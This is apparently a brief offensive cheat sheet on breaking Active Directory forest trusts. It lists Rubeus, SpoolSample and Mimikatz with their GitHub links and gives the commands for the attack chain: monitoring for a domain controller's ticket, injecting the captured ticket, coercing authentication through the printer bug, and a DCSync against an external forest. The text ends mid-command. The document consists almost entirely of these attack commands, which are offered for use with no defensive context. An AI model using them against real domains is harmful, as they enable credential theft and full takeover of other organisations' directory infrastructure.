🟢Breaking Forest Trusts

Tool	GitHub
Rubeus	https://github.com/GhostPack/Rubeus
SpoolSample	https://github.com/leechristensen/SpoolSample
Mimikatz	https://github.com/gentilkiwi/mimikatz

Breaking Forest Trusts with Rubeus

Rubeus.exe monitor /interval:5 /filteruser:target-dc$

Inject the Ticket

Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket>

Breaking Forest Trusts with SpoolSample

SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local

Breaking Forest Trusts with MimiKatz

lsadump::dcsync /domain:external.forest.local /allco